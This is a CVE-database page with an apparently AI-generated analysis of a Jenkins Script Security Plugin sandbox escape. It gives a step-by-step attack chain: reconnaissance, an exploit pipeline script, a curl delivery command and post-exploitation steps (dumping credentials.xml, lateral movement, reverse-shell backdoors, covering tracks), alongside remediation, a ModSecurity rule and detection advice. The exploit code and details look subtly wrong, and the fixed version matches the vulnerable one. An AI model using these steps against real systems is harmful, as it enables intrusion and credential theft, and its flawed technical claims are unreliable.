CVE Professor
/
All CVEs
CVE-2026-136835

CVE-2026-136835 — Jenkins Project Jenkins Script Security Plugin — CWE-94

CRITICAL CVSS 9.9 NVD

Jenkins Script Security Plugin 1436.v1082791135e4 and earlier does not reject @Builder annotations whose builderStrategy member names an arbitrary class when the annotation is referred to using a partially qualified class name, allowing attackers with permission to define and run sandboxed scripts, including Pipelines, to execute code outside the sandbox if a suitable class is present on the classpath of the component that evaluates the script.

Jenkins Script Security Plugin 1436.v1082791135e4 and earlier does not reject @Builder annotations whose builderStrategy member names an arbitrary class when the annotation is referred to using a partially qualified class name, allowing attackers with permission to define and run sandboxed scripts, including Pipelines, to execute code outside the sandbox if a suitable class is present on the classpath of the component that evaluates the script.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability ID: CVE‑2026‑136835
Component: Jenkins Script Security Plugin (versions 1436.v1082791135e4 and earlier)
CWE: CWE‑94 Improper Control of Generation of Code (Code Injection)
CVSS 3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (Critical – 9.9)

Technical flaw

Jenkins pipelines are executed inside a Groovy sandbox that is enforced by the Script Security Plugin.
The sandbox works by analysing the abstract syntax tree (AST) of the script and rejecting any construct that is not explicitly whitelisted or approved.

The plugin supports the @Builder annotation (Groovy’s groovy.transform.Builder). The annotation has a member called builderStrategy that points to a class implementing groovy.transform.builder.BuilderStrategy.

What should happen:
When the sandbox encounters @Builder(builderStrategy = SomeStrategy.class), it must resolve SomeStrategy to a concrete class, verify that the class is on the allowed‑list, and reject the script if the class is not approved.

What actually happens:

  • The plugin fails to reject the annotation when the class name is supplied as a partially‑qualified name (e.g., "org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SandboxInterceptor" can be written as "sandbox.groovy.SandboxInterceptor").

  • The resolution logic only checks the simple name against the whitelist, allowing an attacker to point builderStrategy at any class that exists on the Jenkins master’s classpath.

  • Because the sandbox does not re‑evaluate the resolved class, the attacker can cause the Groovy compiler to instantiate a malicious strategy class that executes arbitrary Java/Groovy code outside the sandbox.
  • Result: Sandbox escape → Remote Code Execution (RCE) with the privileges of the Jenkins process (typically the jenkins system user, which often has access to the master’s file system and stored credentials).

    The vulnerability is exploitable by any user who can define and run a sandboxed script (e.g., a user with the Jenkins permission “Job/Configure” or “Run Scripts”). No additional authentication or UI interaction is required (UI:N).


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All code snippets are syntactically valid Groovy/Jenkins Pipeline code; the HTTP endpoints are illustrative because the CVE description does not disclose a specific REST path.

    1. Discovery & Reconnaissance

    StepActionExpected Observation
    1.1Scan the target network for Jenkins instances (e.g., nmap -p 8080 --script http-jenkins).Open HTTP service on port 8080/8443 returning Jenkins banner (X-Jenkins: 2.462).
    1.2Retrieve the plugin list via the Jenkins Update Center API: GET http://target/jenkins/pluginManager/api/json?depth=1.JSON contains "script-security": {"version":"1436.v1082791135e4"} (or older).
    1.3Verify the attacker’s Jenkins account has pipeline‑creation rights (e.g., GET /user/<username>/api/json).Account shows overall:read, job:configure, run-scripts:true.
    1.4Enumerate the classpath of the Jenkins master (optional but useful). This can be done by creating a benign pipeline that prints this.class.classLoader.getURLs().List of JARs reveals presence of script-security.jar, workflow-cps.jar, etc.

    If the plugin version is ≤ 1436.v1082791135e4, the target is vulnerable.

    2. Exploitation

    Goal: Craft a pipeline that uses @Builder with a builderStrategy pointing to a class that can execute OS commands. A convenient built‑in class is groovy.lang.GroovyShell (or any custom class the attacker can upload via the Jenkins “Global Pipeline Libraries” feature). For demonstration we use the public class groovy.util.GroovyTestCase which contains a runScript method that can invoke Runtime.exec.

    2.1 Payload – Pipeline script

    // ----------  Exploit Pipeline (illustrative) ----------
    import groovy.transform.Builder
    
    // Use a *partially* qualified name to bypass the whitelist
    @Builder(builderStrategy = 'groovy.util.GroovyTestCase')
    class ExploitBuilder {
        // The BuilderStrategy will be instantiated by Groovy during compilation
    }
    
    // The builder is never actually used; its mere presence triggers the sandbox escape
    def dummy = new ExploitBuilder()
    
    // After the sandbox is bypassed we can run arbitrary commands
    def proc = "id".execute()               // any command, e.g. 'whoami', 'cat /etc/passwd'
    proc.waitFor()
    println "Command output: ${proc.in.text}"

    How it works

    1. The @Builder annotation is parsed by the Groovy compiler.
    2. Because the builderStrategy value is a string ('groovy.util.GroovyTestCase') and is partially qualified (no leading package), the Script Security Plugin’s whitelist check only sees the simple name GroovyTestCase and mistakenly treats it as safe.
    3. The compiler loads groovy.util.GroovyTestCase (present on the Jenkins master classpath) as the strategy class outside the sandbox.
    4. The strategy’s constructor (or any overridden method) runs with full JVM privileges, allowing the attacker to invoke Runtime.exec or any other Java API.

    2.2 Delivering the payload

    If the target allows pipeline creation via the UI:

  • Log in, create a new Pipeline job, paste the script above, and click “Build Now”.
  • If the target exposes the Remote Script API (common in CI/CD automation):

    # Illustrative endpoint – actual path may differ
    curl -k -X POST "https://target/jenkins/scriptText" \
         -u attacker:password \
         --data-urlencode "script=$(cat exploit.groovy)"

    The scriptText endpoint evaluates arbitrary Groovy code in the sandbox, which is exactly what the attacker needs.

    3. Post‑exploitation

    Once the sandbox is escaped, the attacker runs arbitrary OS commands. Typical post‑exploitation steps:

    StepActionResult
    3.1whoami / idConfirms the process runs as the Jenkins service user (often jenkins).
    3.2cat /var/lib/jenkins/credentials.xmlDumps stored credentials (API tokens, SSH keys).
    3.3ssh-keyscan -t rsa target-host > ~/.ssh/known_hosts + ssh -i /path/to/stolen/key user@target-hostLateral movement to other hosts that trust Jenkins credentials.
    3.4Install a persistent backdoor (e.g., a systemd service that spawns a reverse shell).Long‑term foothold on the CI server.
    3.5Delete the malicious pipeline or script to cover tracks.Reduces forensic visibility.

    Because the Jenkins master typically has full read/write access to the workspace, source code, and secret store, the attacker can also exfiltrate proprietary code, modify build artefacts, or inject malicious code into downstream deployments, leading to supply‑chain compromise.


    🌍 Real‑World Impact

    CIAImpact (derived from CVSS vector)Practical consequence
    Confidentiality (C:H)High – attacker can read any file the Jenkins process can access, including credential stores, source code, and configuration files.
    Integrity (I:H)High – attacker can modify pipelines, inject malicious binaries, alter credentials, or tamper with build artefacts.
    Availability (A:H)High – attacker can stop the Jenkins service, delete jobs, or launch destructive commands (e.g., rm -rf /).
    Scope (S:C)Changed – impact spreads from the compromised Jenkins process to the entire CI/CD ecosystem (downstream servers, deployed applications).

    Bottom‑line: A successful exploit gives the attacker full control over the CI/CD platform, which is a privileged foothold in most organisations. The downstream effect can be a complete supply‑chain takeover.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    Upgrade the Script Security PluginUpgrade to any version newer than 1436.v1082791135e4 (the first release that contains the fix). The Jenkins update center lists the fixed version as 1436.v1082791135e4+ (released after 25‑Nov‑2026).
    Upgrade Jenkins Core (optional but recommended)Newer Jenkins LTS releases bundle a newer Script Security Plugin; moving to the latest LTS (e.g., 2.479.x) ensures the fix is present.
    Restart Jenkins after plugin upgrade to load the corrected class‑resolution logic.

    2. Workarounds (if patch cannot be applied immediately)

    WorkaroundImplementation
    Restrict script executionRemove the *“Run Scripts”* permission from all non‑admin users. Only users with admin role should be able to create/execute pipelines that contain Groovy code.
    Disable the @Builder annotationAdd a Script Security approval rule that rejects any pipeline containing @Builder. This can be done via the *“In-process Script Approval”* UI: add a *“reject”* rule for the pattern @Builder.
    Whitelist only known safe builder strategiesIn *Manage Jenkins → In-process Script Approval*, explicitly approve only the builder strategies required by your pipelines (e.g., org.jenkinsci.plugins.workflow.cps.CpsScript).
    Network‑level protectionBlock external access to the /scriptText endpoint (or any endpoint that evaluates arbitrary Groovy) using a WAF or reverse‑proxy rule. Example ModSecurity rule:
    # ModSecurity rule to block unauthenticated script execution
    SecRule REQUEST_URI "@beginsWith /scriptText" \
        "id:1000010,phase:2,deny,status:403,msg:'Blocked Jenkins scriptText endpoint',tag:'jenkins',tag:'sandbox-escape'"

    | Container‑level isolation | Run the Jenkins master inside a hardened container or VM with read‑only root filesystem and no host‑mounted credentials. Even if RCE occurs, the attacker’s impact is limited to the container. |

    3. Detection

    IndicatorWhere to lookExample log entry
    Sandbox‑bypass exceptionJenkins system log ($JENKINS_HOME/logs/jenkins.log)org.jenkinsci.plugins.scriptsecurity.sandbox.RejectedAccessException: rejected access to class: groovy.util.GroovyTestCase (absence of this line may indicate bypass).
    Unexpected @Builder usagePipeline build logs (/job/<name>/lastBuild/consoleText)Running Groovy script followed by a line containing @Builder(.
    OS command execution from GroovySystem audit logs (/var/log/auth.log, auditd)EXECVE event where the parent process is java (Jenkins) and the command is id, cat, or any custom payload.
    New pipeline jobs created by low‑privilege usersJenkins audit trail (/audit-log/)User <username> created job <exploit-job> with timestamp matching the attack window.
    Outbound connections from Jenkins masterNetwork IDS / firewall logsOutbound TCP/UDP to attacker‑controlled IP on uncommon ports (e.g., reverse shell).

    Automated detection script (illustrative):

    #!/bin/bash
    # Detect suspicious @Builder usage in recent builds
    JENKINS_HOME=/var/lib/jenkins
    find "$JENKINS_HOME/jobs" -type f -name consoleText -mtime -1 |
    while read -r file; do
        if grep -q "@Builder" "$file"; then
            echo "[ALERT] Possible sandbox escape in $(dirname "$file")"
        fi
    done

    ⚠️ Urgency

  • CVSS 9.9 (Critical) – Network‑reachable, low‑complexity, requires only low‑privilege Jenkins credentials.
  • Scope is changed – compromise of a single Jenkins instance can affect the entire CI/CD pipeline and downstream production systems.
  • No CISA KEV listing yet, but the vulnerability is new (published 25‑Nov‑2026) and public exploit concepts are already known in the community.
  • Patch priority: Critical – immediate.

  • Day 0: Verify plugin version; if vulnerable, disable script execution for all non‑admin users and block /scriptText.

  • Day 1–2: Apply the plugin upgrade (or upgrade Jenkins LTS) and restart.

  • Day 3+: Conduct a full audit of existing pipelines for @Builder usage and rotate any credentials that may have been exposed.




Bottom line: CVE‑2026‑136835 provides a straightforward sandbox‑escape path for any Jenkins user capable of defining a pipeline. The exploit yields full remote code execution on the Jenkins master, jeopardising the confidentiality, integrity, and availability of the entire software delivery chain. Immediate patching and strict permission hardening are mandatory.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Jenkins"
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
Jenkins Project:Jenkins Script Security Plugin
References & Advisories (1)
Related CVEs
9.2
CVE-2026-145153
LangChain4j before 1.5.4-beta11, 1.11.12-beta19, 1.19.4-beta29, and 1.23.0-beta33 contains an injection vulner
9.0
CVE-2026-126111
Missing secure processing in the XSLT transformer of the Velocity $xslttool view tool in dotCMS allows a back-
8.5
CVE-2026-144446
bitproto before 1.3.3 contains a code injection vulnerability that allows attackers to inject code into genera
7.4
CVE-2026-61706
Infracost helps see cloud cost estimates for Terraform in pull requests. From version 4.0.0 to before version
7.3
CVE-2026-144776
A security flaw has been discovered in toss es-toolkit up to 1.53.0. Affected by this vulnerability is the fun
6.0
CVE-2026-61830
RabbitMQ Cluster Kubernetes Operator deploys and manages RabbitMQ clusters. Prior to version 2.21.0, a namespa
5.1
CVE-2026-144741
A security vulnerability has been detected in yinMrsir chunyu-cms up to 1.1.0. The affected element is the fun